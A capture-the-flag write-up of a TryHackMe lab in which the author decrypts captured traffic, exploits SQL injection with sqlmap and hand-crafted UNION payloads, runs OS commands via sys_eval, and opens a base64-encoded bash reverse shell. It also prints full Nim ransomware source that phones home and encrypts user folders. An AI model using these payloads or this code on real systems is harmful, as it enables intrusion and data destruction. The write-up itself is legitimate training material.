The TryHack3M: Sch3Ma D3Mon room hosted by TryHackMe challenges to investigate a malware marketplace. More details can be found here: https://tryhackme.com/r/room/sch3mad3mon
I used a Kali Linux VM in VirtualBox and connected to the TryHackMe machine via OpenVPN.
A Public Computer with a VPN
After weeks of meticulous observation and planning, we pinpointed the public computer that the suspect uses to access their website. The computer is located in a quiet corner of the local library. Although the computer has a warning sign that all computer activity is monitored, the suspect doesn’t seem to care. They only check for installed key loggers before establishing a VPN connection and logging in to their criminal marketplace. This time, we were ready:
- We have set the browser to log the session’s TLS keys; this logging was achieved by adding an extra option to the browser shortcut. Executing
chromium --ssl-key-log-file=~/ssl-key.log
dumps the TLS keys to thessl-key.log
file.- We were capturing all traffic on that computer.
By the time they finished, we had a log of used TLS keys and an encrypted packet capture. You can access these files by clicking the Download Task Files button or navigating to
/root/Rooms/TryHack3M/sch3MaD3Mon
on the AttackBox. Using the TLS key log file, Wireshark should be able to decrypt all exchanged traffic.
First, I downloaded and unpacked the Task Files as suggested. In there were two files: mayh3Mmarket.pcapng and ssl-key.log.
What is the suspect’s username?
To find the user’s username, I had to read the data they sent to the server. To be able to read the data, I had to import the ssl-key.
To get the username of the user, I searched for instances where they sent data via POST request using the filter http.request.method == "POST"
. Fortunately, the user did make such a request to /login.php.
I followed that HTTP stream to see the content of the POST request.
The complete content is below:
POST /login.php?msg=1 HTTP/1.1
Host: 10.10.111.136:8443
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://10.10.111.136:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.111.136:8443/login.php?msg=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5ebdc3db7dbc103b5f56ed1e2bcd6610
uid=lannister&password=hrpTfL42wMv3HTTP/1.1 302 Found
Date: Tue, 09 Apr 2024 08:45:17 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: searchproducts.php
Content-Length: 953
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!-- Enable debug using ?debug=true" -->
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login - mayh3Mmarketplace</title>
<link href="./css/htmlstyles.css" rel="stylesheet">
</head>
<body>
<div class="container-narrow">
<div class="jumbotron">
<p class="lead" style="color:A3EA2A">
mayh3Mmarketplace Login
<br />Please login to continue to Search Products </p>
</div>
<div class="response">
<form method="POST" autocomplete="off">
<p style="color:A3EA2A">
Username: <input type="text" id="uid" name="uid"><br /></br />
Password: <input type="password" id="password" name="password">
</p>
<br />
<p>
<input type="submit" value="Submit" />
<input type="reset" value="Reset" />
</p>
</form>
</div> <br />
<div class="row marketing">
<div class="col-lg-6">
</div>
</div>
</div> <!-- /container -->
</body>
</html>
GET /searchproducts.php HTTP/1.1
Host: 10.10.111.136:8443
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Referer: https://10.10.111.136:8443/login.php?msg=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5ebdc3db7dbc103b5f56ed1e2bcd6610
HTTP/1.1 200 OK
Date: Tue, 09 Apr 2024 08:45:17 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 821
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!-- Enable debug using ?debug=true" -->
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Search Products - mayh3Mmarketplace</title>
<link href="./css/htmlstyles.css" rel="stylesheet">
<style>
body {
font-family: sans-serif;
background-color: #D4D8DF; /* Light grey background */
color: #A3EA2A;
padding: 20px;
}
.container-narrow {
margin: 0 auto;
width: 80%;
background-color: #727C92; /* Light grey background */
padding: 20px;
border: 2px solid #223654;
}
.jumbotron {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
text-align: center;
}
.response {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
text-align: center;
}
.searchheader {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
}
table {
margin: 0 auto;
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #223654;
padding: 8px;
text-align: left;
}
th {
background-color: #223654; /* Light grey background */
}
.footer {
text-align: center;
margin-top: 20px;
}
</style>
</head>
<body>
<div class="container-narrow">
<div class="jumbotron">
<p class="lead">
Welcome lannister!! Search for products here
</p>
</div>
<div class="response">
<form method="POST" autocomplete="off">
<label for="searchitem">Search for a product:</label>
<input type="text" id="searchitem" name="searchitem">
<input type="submit" value="Search">
<input type="submit" name="showall" value="Show All"> <!-- Added Show All button -->
</form>
</div>
<br />
<div class="searchheader">
<table>
<tr>
<th>Product Name</th>
<th>Product Type</th>
<th>Description</th>
<th>Price (in USD)</th>
</tr>
</table>
</div>
</div> <!-- /container -->
</body>
</html>
POST /searchproducts.php HTTP/1.1
Host: 10.10.111.136:8443
Connection: keep-alive
Content-Length: 28
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://10.10.111.136:8443
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.111.136:8443/searchproducts.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5ebdc3db7dbc103b5f56ed1e2bcd6610
searchitem=&showall=Show+AllHTTP/1.1 200 OK
Date: Tue, 09 Apr 2024 08:45:21 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1243
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!-- Enable debug using ?debug=true" -->
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Search Products - mayh3Mmarketplace</title>
<link href="./css/htmlstyles.css" rel="stylesheet">
<style>
body {
font-family: sans-serif;
background-color: #D4D8DF; /* Light grey background */
color: #A3EA2A;
padding: 20px;
}
.container-narrow {
margin: 0 auto;
width: 80%;
background-color: #727C92; /* Light grey background */
padding: 20px;
border: 2px solid #223654;
}
.jumbotron {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
text-align: center;
}
.response {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
text-align: center;
}
.searchheader {
background-color: #192740;
padding: 20px;
border: 2px solid #223654;
margin-bottom: 20px;
}
table {
margin: 0 auto;
border-collapse: collapse;
width: 100%;
}
th, td {
border: 1px solid #223654;
padding: 8px;
text-align: left;
}
th {
background-color: #223654; /* Light grey background */
}
.footer {
text-align: center;
margin-top: 20px;
}
</style>
</head>
<body>
<div class="container-narrow">
<div class="jumbotron">
<p class="lead">
Welcome lannister!! Search for products here
</p>
</div>
<div class="response">
<form method="POST" autocomplete="off">
<label for="searchitem">Search for a product:</label>
<input type="text" id="searchitem" name="searchitem">
<input type="submit" value="Search">
<input type="submit" name="showall" value="Show All"> <!-- Added Show All button -->
</form>
</div>
<br />
<div class="searchheader">
<table>
<tr>
<th>Product Name</th>
<th>Product Type</th>
<th>Description</th>
<th>Price (in USD)</th>
</tr>
<tr><td>water</td><td>refreshments</td><td>just water. some very expensive water.</td><td>3500</td></tr><tr><td>keyboard</td><td>equipment</td><td>esc that boring keyboard of yours, buy ours.</td><td>3000</td></tr><tr><td>mouse</td><td>equipment</td><td>buy a mouse! or go nuts and buy mice!</td><td>12000</td></tr><tr><td>headset</td><td>equipment</td><td>call centre chique is IN this summer</td><td>2300</td></tr><tr><td>gaming chair</td><td>equipment</td><td>similar to a chair, but for gaming.</td><td>1200</td></tr><tr><td>dual monitors (left)</td><td>equipment</td><td>excellent for displaying things on your left.</td><td>4000</td></tr><tr><td>dual monitors (right)</td><td>equipment</td><td>excellent for displaying things on your right.</td><td>5000</td></tr><tr><td>ham</td><td>equipment</td><td>no work station is complete without ham.</td><td>25000</td></tr><tr><td>bobblehead</td><td>accessory</td><td>anatomically similar to yourself (with exception of head)</td><td>10000</td></tr><tr><td>1080p</td><td>accessory</td><td>ten pounds eighty in loose change)</td><td>11</td></tr><tr><td>redacted product</td><td>redacted type</td><td>product retired and moved to unlisted_products</td><td>0</td></tr> </table>
</div>
</div> <!-- /container -->
</body>
</html>
Line 23 includes the uid and password: uid=lannister&password=hrpTfL42wMv3
Answer: lannister
What is the suspect’s password?
This is answered above.
Answer: hrpTfL42wMv3
Connected Tables
Click on the Start Machine button to start the marketplace lab. Give it a few minutes to boot before accessing it via http://10.10.226.39:8000. The credentials you found in the previous task should give you access.
So far, we have obtained the login credentials and successfully logged in to the marketplace. It is time to check for any vulnerabilities, granting us more access. We will focus on SQL injection (SQLi) vulnerabilities. This task briefly covers relational databases, tables, query language, and SQL injection vulnerabilities. This knowledge will be handy for the second stage of our attack, i.e., Task 3. If you are familiar with SQL and SQLi, you can skip this task.
RDBMS
After obtaining the login credentials, it is time to access the marketplace and check for any vulnerabilities that would grant us more access. We will focus on SQL injection vulnerabilities; if you are familiar with SQL and SQLi, you can skip this task.
SQL, which stands for Structured Query Language, was designed to manipulate and retrieve data from a relational database management system (RDBMS). What is a relational database? Think of it as a set of tables with relations connecting them. Consider the following relational database for an online shop with three tables:
- Table of products: We expect to find the name and price of every product, among other details.
- Table of customers: This table is expected to hold each customer’s username, password, name, and address.
- Table of invoices: This table is special. It relies on information from the other two tables. For instance, a customer ID, a product ID, and a date would be enough to tell us what the customer bought and when they bought it. Note that we didn’t need to repeat the customer or product information.
Let’s say that we created the table
users
with the following attributes: id, username, password, name, and address. The SQL statement below creates a table namedusers
with columns forid
(auto-incrementing integer primary key),username
,password
,name
, andaddress
.CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(200) NOT NULL, `password` varchar(33) NOT NULL, `name` varchar(30) NOT NULL, `address` varchar(200) NOT NULL, PRIMARY KEY (`id`) );
The
id
column is set as the primary key, and all columns are defined as NOT NULL, meaning they cannot have empty values. Except for theid
, the data type of each column is declared as a variable-length character string with a set maximum length.Next, we want to add new customers, search existing ones, update information, and occasionally delete dormant accounts. Let’s see how this is achieved via SQL.
CRUD
CRUD is an acronym for the four basic operations that can be performed on data in a database. The four operations are Create, Read, Update, and Delete.
Create
This operation involves inserting new data into the database. In SQL, the
INSERT
statement creates new records or rows in a table. Here’s an example:INSERT INTO users (username, password, name, address) VALUES ('jdoe', 'mypasswordTH3M', 'John Doe', 'TryHack3M Street');
This statement inserts a new row into the
users
table with the values ‘jdoe’, ‘mypasswordTH3M’, ‘John Doe’, and ‘TryHack3M Street’ for the columnsusername
,password
,name
, andaddress
, respectively. Theid
column will be automatically incremented due to theAUTO_INCREMENT
property.Read
This operation involves retrieving or reading existing data from the database. In SQL, the
SELECT
statement reads or queries data from one or more tables.SELECT * FROM users WHERE username = 'jdoe';
This statement retrieves all columns and rows where the
username
column has the value ‘jdoe’.SELECT name, address FROM users;
This statement retrieves only the
name
andaddress
columns from all rows in theusers
table.Update
This operation involves modifying or updating existing data in the database. In SQL, the
UPDATE
statement is used to change or modify the values of one or more columns in a table.UPDATE users SET password = 'newpassword3M' WHERE username = 'jdoe';
This statement updates the
password
column with the value ‘newpassword3M’ for the row where theusername
column has the value ‘jdoe’.UPDATE users SET address = 'TryHack3M Street, Phone 3-000-000' WHERE id = 1;
This statement updates the
address
column with the value ‘TryHack3M Street, Phone 3-000-000’ for the row where theid
column has the value 1.Delete
This operation involves removing or deleting existing data from the database. In SQL, the
DELETE
statement removes one or more rows from a table.DELETE FROM users WHERE username = 'jdoe';
This statement removes the row(s) from the
users
table where theusername
column has the value ‘jdoe’.DELETE FROM users WHERE id = 5;
This statement removes the row from the
users
table where theid
column has the value 5.SQL Injection
SQL injection is a technique used by attackers to exploit vulnerabilities in web applications that interact with databases. It occurs when untrusted user input is improperly handled and concatenated into SQL statements, allowing malicious SQL commands to be executed on the database. Consequently, the attacker might gain access to sensitive data, modify or delete data, or even execute commands on the underlying database server. Let’s dive into a practical example.
Consider the following vulnerable PHP code snippet being used for authentication. Authentication fails if the query finds no record with this username and password combination. (Yes, this is insecure, although it works!)
$username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
Comments-Based SQL Injection
Knowing that
--
is used for commenting in SQL, an attacker can injectadmin'--
in the user name. Consequently, the query ends atadmin
, and everything after--
is ignored. This is shown in the code below.SELECT * FROM users WHERE username = 'admin'--' AND password = '$password';
Tautology-Based SQL Injection
Injecting a tautology (always true condition) like
' OR '1'='1
in an input field can bypass authentication mechanisms or retrieve data. For instance, the attacker might inject' OR '1'='1
in the input field. The resulting SQL query becomes like one of the following queries.SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'pass'; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';
There is no guarantee that such queries would return proper results. Alternatively, the attacker might combine a tautology with a comment and insert
' OR '1'='1' --
in the username field.SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'password';
Since the
'1'='1'
will always be evaluated as true, this query might return the wholeusers
table.Retrieving Data from Other Tables
Another attack might aim to retrieve data from other tables. For example, if we use the payload
' UNION SELECT * FROM products --
, we might dump the products table.SELECT * FROM users WHERE username = 'jdoe' UNION SELECT * FROM products --' AND password = 'pass';
The above example SQL payloads provide a basic idea of how and why SQL injection works. It is time to build on this knowledge and tackle the challenge in the next task.
I’m not sure why this room gives an overview of manual SQL injection. Anyways, knowing the URL and the credentials to the marketplace, I could open it.
And after logging in, I could view the products.
Now, to answer the questions of this section in preparation for SQL injection:
What does RDBMS stand for?
Answer: Relational Database Management System
What does CRUD stand for?
Answer: Create Read Update Delete
What does SQL stand for?
Answer: Structured Query Language
Unlisted
Now that you have access to the product page, you’ve taken some time to investigate any possible vulnerabilities in the application. You go through your toolkit until you begin to test if the application is vulnerable to SQL injection. You do this by searching for
'
; when you do this search, you see the following error:This error implies that the database interpreted your string, making the application vulnerable to an SQL injection attack. But what can you do with this vulnerability?
Given this is a search query bar, you begin to think it’s likely that this search function runs some kind of a
SELECT
query. Considering this, It springs to mind that you can use aUNION SELECT
query to join theSELECT
query triggered by the search to a query of your own creation. You remember that yourUNION SELECT
query must include the same number of columns. To test how many columns are included in the initialSELECT
command, run a few queries until one executes successfully and populates the product page. Running the query' union select 1,2,3,4,5 -- //
returned the following:There are two important notes to consider as you tweak your exploit code. Firstly, table names are often in lowercase format and separated by underscores. Secondly,
UNION
requires the same number of columns in the twoSELECT
statements to be combined. Although this constraint is always valid, this does not need to be a named column. You can usenull
. For example, if you wish to join a table with only two columns to another table with five columns, you can use'union select null, null, null, column1, column2 from table_name -- //
Can you use this knowledge to attain the next step?
To be honest, I just used sqlmap. For this, I made a manual test request for a product while I had the Network tab in my Firefox browser open. Then I copied the Request Headers as well as the Post Data and saved them both to a file called req.txt.
POST /searchproducts.php HTTP/1.1
Host: 10.10.226.39:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.10.226.39:8000
Connection: keep-alive
Referer: http://10.10.226.39:8000/searchproducts.php
Cookie: PHPSESSID=fefeff0b8401cdb14de5ecc29f7bb581
Upgrade-Insecure-Requests: 1
searchitem=test
Then I used this req.txt with sqlmap and let it print all Databases using:
sqlmap -r req.txt --dbs --batch
Obviously, the one standing out was mayh3Mmarketplace.
What’s the hidden path?
Having a foothold, I could search for the hidden path. For that, I started by printing all tables using:
sqlmap -r req.txt -D mayh3Mmarketplace --tables
+-------------------+
| easter_egg |
| leaderboard_stats |
| member_stats |
| products |
| room_stats |
| streak_stats |
| transactions |
| unlisted_products |
| users |
+-------------------+
As always, I dumped the users tables and tried to crack all passwords in the process using:
sqlmap -r req.txt -D mayh3Mmarketplace -T users --dump
Unfortunately, only one user was present, and I already knew their password.
Then I dumped the streak_stats and the easter_egg tables.
I also did a quick visit to the halloffame.php.
Unfortunately, nothing of interest could be found there. Lastly, I dumped the unlisted_products using:
sqlmap -r req.txt -D mayh3Mmarketplace -T unlisted_products --dump
There, the hidden path called os_sqli.php
was revealed.
Answer: os_sqli.php
From DB to OS
It is possible to execute shell commands within SQL queries. (In this particular case of MySQL,
lib_mysqludf_sys.so
provides this functionality, and it is loaded and enabled.) As we can embed shell commands within innocuous SQL queries, consider the following examples:SELECT sys_eval('whoami'); SELECT sys_exec ('touch /var/lib/mysql/test.txt'); SELECT sys_exec ('echo "hello" > /var/lib/mysql/test.txt'); SELECT sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt');
If you were to run
mysql -p database_name
on the database server’s shell, you can try executing all of the above. An example is shown below:mysql> SELECT sys_eval('whoami'); +----------------------------------------+ | sys_eval('whoami') | +----------------------------------------+ | 0x6D7973716C | +----------------------------------------+ 1 row in set (0.01 sec) mysql> SELECT sys_exec ('touch /var/lib/mysql/test.txt'); +--------------------------------------------+ | sys_exec ('touch /var/lib/mysql/test.txt') | +--------------------------------------------+ | 0 | +--------------------------------------------+ 1 row in set (0.00 sec) mysql> SELECT sys_exec ('echo "hello" > /var/lib/mysql/test.txt'); +-----------------------------------------------------+ | sys_exec ('echo "hello" > /var/lib/mysql/test.txt') | +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+ 1 row in set (0.00 sec) mysql> SELECT sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt'); +---------------------------------------------------------+ | sys_exec ('cat /etc/passwd > /var/lib/mysql/test2.txt') | +---------------------------------------------------------+ | 0 | +---------------------------------------------------------+ 1 row in set (0.00 sec)
As a result, we can do some experiments on the PHP page we have discovered. You might try to come up with a helpful combination. For instance, one might attempt
http://10.10.226.39:8000/unlisted?user=lannister' union SELECT null, sys_eval('whoami') -- //
and check what they might get. Note that this URL won’t work as is. Consider replacingunlisted
with the hidden path you uncovered in Task 3; furthermore, the columns count doesn’t match, so you have some calibration to do.
The instructions are clear: I just had to craft a manual SQLi payload to run shell commands. With some hints from previous sections, the payload was easy to craft:
http://10.10.226.39:8000/os_sqli.php?user=lannister' union SELECT null, null, null, null, sys_eval('whoami') -- //
What is the output of pwd
when run via an SQL injection attack?
http://10.10.226.39:8000/os_sqli.php?user=lannister' union SELECT null, null, null, null, sys_eval('pwd') -- //
Answer: /var/lib/mysql
Finding a Needle in a Malwarestack
Now that you’ve breached the OS, it’s time to take a look around! After some snooping, you see a directory full of receipts in the
/home
directory. This could contain critical information which you can use to thwart this group’s efforts. Oh dear! It appears these receipts are all encrypted or password-protected. You can recall this group using buyers’ Bitcoin addresses in the past to encrypt secrets. They may have done the same thing here, but where can you find this information?You recall that you can query information regarding a database and its schema instead of querying a table, querying (for example)
information_schema.columns where table_schema=database()
. From here, you can grab information like table_name and column_name. Going back tosearchproducts.php
, can you use this knowledge to gather Bitcoin sender address information to unlock these receipts for investigation?Once you have found the necessary information, try decrypting the receipt file with it. From the file extension, the receipts have been encrypted with the gpg command. With this in mind, you can decrypt the receipt with the following command:
gpg --decrypt <file-name>
This command will prompt you to enter a key; use the information found earlier to decrypt the receipt. But which one?
What is the malware’s location?
To find the malware’s location, I had to open the receipt. And to open the receipt, I had to find it, find its passphrase, and actually open it.
Finding the receipt was easy by doing some navigation using the previous method.
As the instructions suggested, the receipts were in the /home directory.
There were quite a few of them. As the instructions said, the passphrases for the receipts are the sender’s BTC addresses, so I dumped those with sqlmap.
To print just the transaction_number and bcoin_sender_address, I used:
sqlmap -r req.txt -D mayh3Mmarketplace -T transactions -C transaction_number,bcoin_sender_address --dump
+--------------------+------------------------------------+
| transaction_number | bcoin_sender_address |
+--------------------+------------------------------------+
| 2999992 | VqJABTN4tNF7xgGS4uBvnsmWEMtY1e5aF2 |
| 2999993 | utEBtAFYFgNM5vB2naSV4xqe7m4WN1GJTs |
| 2999994 | EaNqVM2JNmW7eY1gSAt5TBuGBFt44vxFns |
| 2999995 | tu1nEFs244mJ7xSYvG5FAMNqVeTgNBtWBa |
| 2999996 | StN5NJavqY17FFWEgmneMGs2uTxAtVBB44 |
| 2999997 | N5aTtgnFvMuNB4eWtG2J7qYFSEAmBxs14V |
| 2999998 | tJS45qAF1gMumGxFstTEVBWBve2YN7nNa4 |
| 2999999 | MFa7N2u1Egnt4Ymse5GS4TFtBVJvBqANWx |
| 3000000 | eqFN5vBg4n2t4xGsJF7BYNWMtTaVA1muES |
+--------------------+------------------------------------+
I could not just download the .gpg files and open them through the browser. Nor could I just cat them:
Well, maybe it was possible, but I didn’t want to spend too much time there and just used a reverse shell instead.
I used https://www.revshells.com to build a simple Reverse Shell and encoded it as base64 to be able to send it via a HTTP request in the browser.
Basically, I wanted to run this on the server: echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx | base64 -d | /bin/bash
, meaning the base64 encoded string should be decoded and used as a bash command. The complete URL looked like this:
http://10.10.226.39:8000/os_sqli.php?debug=true&user=lannister' UNION SELECT null, null, null, null, sys_eval('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx | base64 -d | /bin/bash') -- //
I couldn’t open the .gpg files with the reverse shell because the prompt for the passphrase didn’t appear. So I printed the contents, copied them to my Kali machine and decrypted them there.
-----BEGIN PGP MESSAGE-----
jA0ECQMCzG+DWvV2c6T/0sDnAQIVxYgZ90PIEq0zsLh6kmg50TFCznUDxxkzLGSy
hYe4byHLlXIg/ZXxRIwcgjMmyGhNadEn/jFHKA/Weuv9D6UgvTgGZdyfduoOPm0N
w0zuPf8nkzZgTdxjyySMsm9rIGOwXjF/OvaSGb48JKq+ia/WUIZrNVV6ANbKcRc4
nuKWM5pRFK0aVK9hcHLlEwjeA2Kf6nvmpBAd6ID/lfDin72d2uFb7TtQMtJQ6ixT
+5lkNpaDmS5SrCYMI1bZOQ0RhFCSowdjRpsHH9URKgijwoJ+kAjZBPv9G/9Vb0Ql
gcOFQzSNX+7RsYcq7nUQnR7/b1u1mdFycQ7ipYtXeQotIztbRkGIktPhnYtv+WQ4
+XVHW2ub7cEf5vivDKP1tZ5KyyrAxXqE8BZ0aG6aD0bzWjLMZrjHv2PxbbUMS4A/
5MOPGqiuhkRL9E5zxVT+vCAinSrLqsqpRU5PRqLJB8gNXe+o4fR2+M1OEBlXq0DC
ezLV8FNbsfML/EE9Q92iK7yc0FKIsZwqtgZ6okwo/5tf9lqNZIl88eaGigtmMiLF
o1+wH8fjeoIN
=gihR
-----END PGP MESSAGE-----
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
--- Mayh3M Marketplace ---
Invoice: 3000000
Date: 04/02/2024 06:28:48
Transaction Details: Purchase made through our online store front!
Transaction Number: 3000000
Sender Address: eqFN5vBg4n2t4xGsJF7BYNWMtTaVA1muES
Recipient Address: tWuNGTaSBNJq7mvxF5AetFg4B2VE41MnYs
Transaction Time: 04/02/2024 06:28:48
Product: /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
Total Amount: 865345
Thank you for supporting a local business. For any inquiries, please contact our support team at support@mayh3Mmarketplace.com.
So the product, i.e. the malware, lied in /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
Answer: /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
Operation Defang
Now that we know which malware is the most widely purchased in this store, we can execute our plan to disrupt its damaging effects by modifying the code, effectively “defanging” it.
This ensures that the malware runs without causing actual damage, thus maintaining the illusion of regular operation for the purchasers of this malware. The longer they believe that the malware they purchased works normally, the less chance our modifications will be discovered.
Explore the directory of our target malware. Something there could hint at how to disable its damaging effects.
So I investigated the location of the malware by first listing all files and directories there and printing the readme.txt I found.
What programming language was used to develop the malware?
Out of the four files (build.sh, config.ini, mmmbar.nim, readme.txt), the only one containing malware was the mmmbar.nim.
Answer: nim
Reading the source code, what file type is added to the end of encrypted files?
I printed the source code. It can be seen below:
import os
import strformat
import httpclient
import nimcrypto
import base64
import json
import winim
# Added function to check for the debug mode in the config file
func isDebugEnabled(): bool =
let configFile = getCurrentDir() & DirSep & "config.json" # Assuming JSON format for simplicity
if fileExists(configFile):
let configContent = readFile(configFile)
let configJson = parseJson(configContent)
if "debug" in configJson:
return configJson["debug"].getBool()
return false
func toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))
proc change_wp(isDebug: bool): void =
if not isDebug:
var client = newHttpClient()
var user = getEnv("USERNAME")
var hostname = getEnv("COMPUTERNAME")
var report_url = fmt"http://172.16.251.121/aaaaa_ransom.jpg?user={user}&hostname={hostname}"
var req = client.getContent(report_url)
var dump = getTempDir() & "paymeboogey.jpg"
writeFile(dump, req)
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, cast[PVOID](dump.cstring), SPIF_UPDATEINIFILE or SPIF_SENDCHANGE)
proc recursive(path: string, isDebug: bool): void =
for file in walkDirRec path:
let fileSplit = splitFile(file)
let password: string = "myKey"
if fileSplit.ext != ".boogey" and fileSplit.ext != ".ini":
echo fmt"[*] Encrypting: {file}"
var
inFileContents: string = readFile(file)
plaintext: seq[byte] = toByteSeq(inFileContents)
ectx: CTR[aes256]
key: array[aes256.sizeKey, byte]
iv: array[aes256.sizeBlock, byte]
encrypted: seq[byte] = newSeq[byte](len(plaintext))
iv = [byte 183, 142, 238, 156, 42, 43, 248, 100, 125, 249, 192, 254, 217, 222, 34, 12]
var expandedKey = sha256.digest(password)
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
ectx.init(key, iv)
ectx.encrypt(plaintext, encrypted)
ectx.clear()
if not isDebug:
let encodedCrypted = encode(encrypted)
let finalFile = file & ".boogey"
moveFile(file, finalFile)
writeFile(finalFile, encodedCrypted)
let debugEnabled = isDebugEnabled()
change_wp(debugEnabled)
var path = getHomeDir() & "Documents"
recursive(path, debugEnabled)
path = getHomeDir() & "Downloads"
recursive(path, debugEnabled)
path = getHomeDir() & "Desktop"
recursive(path, debugEnabled)
Line 59 contains the file ending.
Answer: .boogey
What is the flag that appears after compiling the defanged malware?
Just building the malware using build.sh was not sufficient. It had to be defanged first. The readme.txt gave instructions for doing so, as seen above. All that had to be done was to change the debug value in config.ini to true, so I did exactly that.
Then I could successfully build the malware and reveal the flag.
Answer: THM{3FDbU2nNy2FW7yMvMoH6WTMMM}
That concludes this CTF. I liked the story and having malware as a theme. I didn’t really need all that many instructions, but it was nice having them regardless. Made it a bit easier.